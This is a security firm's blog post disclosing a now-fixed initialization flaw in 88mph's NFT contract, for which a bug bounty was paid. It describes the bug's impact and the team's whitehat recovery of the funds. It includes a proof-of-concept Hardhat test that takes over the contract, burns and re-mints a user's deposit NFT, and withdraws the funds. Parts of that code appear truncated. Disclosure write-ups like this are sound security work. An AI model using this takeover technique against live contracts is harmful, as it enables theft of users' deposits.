Blog Post

Critical Bug Identified in 88mph Awarded with $42,069 Bounty

June 15, 2021

## Introduction

On 7 June 2021, [Ashiq Amien](, a security researcher at iosiro, identified a critical bug in the []( lending protocol [88mph]( The bug was reported to 88mph through [Immunefi]( for a bounty of $42,069...nice.

The initialization bug was identified in 88mph's NFT contract, and resulted in allowing anyone to claim ownership of the contract and steal the underlying assets. The 88mph team responded quickly after receiving the disclosure, restricting access to the vulnerable functionality within 2 hours and extracting the funds to the treasury within 24 hours. The vulnerability affected three pools:

- yaLINK [[Pool Deposit](, [Pool](]

- CRV:STETH [[Pool Deposit](, [Pool](]

- CRV:RENWBTC [[Pool Deposit](, [Pool](]

At the time of the disclosure, an attacker would have been able to steal over $6.5 million USD of user assets from the protocol.

## Bug Details

Most smart contracts are initialized through their constructor, a special method which cannot be called again after the contract is deployed. In some circumstances, such as if the contract is behind a proxy, an initializer function is used in place of a constructor. Unlike constructors, initializer functions need to include validation to ensure that they can only be run once to prevent re-initializing the contract's state. The 88mph NFT contract, which was used to represent user deposits into the `DInterestWithDepositFee` pools, [did not perform this check]( As a result, the contract could be re-initialized, which would set the owner of the contract to the calling address. An attacker could use this to gain access to privileged functionality, such as minting and burning NFTs, which could be used to immediately withdraw the assets underlying users’ deposits by burning and then re-minting the user’s NFTs to themself. Furthermore, this issue would allow an attacker to perform the following actions:

- Change the NFT contract metadata through `setContractURI()`, `setTokenURI()`, and `setBaseURI()`.

- Temporarily brick pool functions that use `_deposit()` as the pool was no longer the owner of the contract.

- Burn another user's deposit NFT, preventing withdrawal and permanently locking their funds in the contract.

- Permanently brick pool functions that use `_deposit()` by minting an NFT without actually depositing money to the pool. This was due to a discrepancy between the NFT ID and the number of deposits made to the pool.

A proof-of-concept for stealing funds from the protocol is given below.

<code class="language-javascript" >

it("an NFT could be stolen and redeemed by an attacker", async function () {
   //impersonate an arbitrary MPH holder that already has some MPH tokens to allow the withdrawal to take place
   const thief = '0xc2be79cf419cf48f447320d5d16f5115bbb58b03';
     method: "hardhat_impersonateAccount",
     params: [thief]}
   const thiefSigner = await ethers.provider.getSigner(thief);

   //point to the pools on the mainnet fork
   let crvrenbtcPool = await ethers.getContractAt("DInterestWithDepositFee", "0x22E6b9A65163CE1225D1F65EF7942a979d093039");  
   let crvrenbtcNft = await ethers.getContractAt("NFT", "0xa08b1215ff7Ad33fa431E35569F95F684Cd9Bf9c");
   let crvrenbtcToken = await ethers.getContractAt("ERC20", "0x49849c98ae39fff122806c06791fa73784fb3675");
   let mph = await ethers.getContractAt("ERC20","0x8888801aF4d980682e47f1A9036e589479e835C5");
   await mph.connect(thiefSigner).approve("0x03577A2151A10675a9689190fE5D331Ee7ff2517", '1000000000000000000000000'.toString());

   //takeover the NFT contract and steal NFT with ID 25
   await crvrenbtcNft.init(newOwner, "takeover", "TO");
   await crvrenbtcNft.burn(25);
   await, 25);

   //withdraw the underlying deposit
   console.log("crvRenWBTC bal before theft: " + await crvrenbtcToken.balanceOf(thief));
   await crvrenbtcPool.connect(thiefSigner).earlyWithdraw(25, 3);
   console.log("crvRenWBTC bal after theft: " + await crvrenbtcToken.balanceOf(thief));



## Damage Control

As the funds were at risk, a war room was set up to determine a strategy for mitigating the bug. The immediate solution was to brick the contract to prevent any movement of funds. Since the [deposit]( and [withdrawal]( functions both used an external `mphMinter` contract, the contract owner could point to a dummy contract to brick the functions. To keep `_withdraw()` open for when the funds were going to be recovered, the `takeBackDepositorReward()` function was whitelisted to a whitehat address. This allowed some time to determine the optimal way for extracting and returning the funds to the respective users.

The next day, the 88mph team wrote a [whitehat contract]( implementing the exploit above. This was done to take ownership of the NFT contract, burn a user's deposit NFT and re-mint it for themselves, and then redeem it for the underlying funds. After thoroughly reviewing the approach and running a simulation, the transaction was submitted to [Taichi]( to avoid any front-running attacks.

Shortly after, the transaction was included in a block and the funds were successfully transferred to the [treasury]( 🥳 The funds have [since been returned]( to the affected users. 

## Conclusion

From every security incident there are important lessons to be learned. A key takeaway in this instance is to not assume that a contract is safe simply based on its age or TVL. The root cause of this bug was fairly straightforward, but it went unnoticed for over three months.

Many thanks to the team at [Immunefi]( for their support during the disclosure and remediation process, and to the [88mph]( team for reacting quickly to mitigate the bug.

We recommend that DeFi protocols make use of bug bounty programs to encourage the responsible disclosure of bugs, and perform external audits of their code before going to production. If you’d like to get your smart contracts audited by an experienced team, reach out to us at

Secure your system.
Request a service
Start Now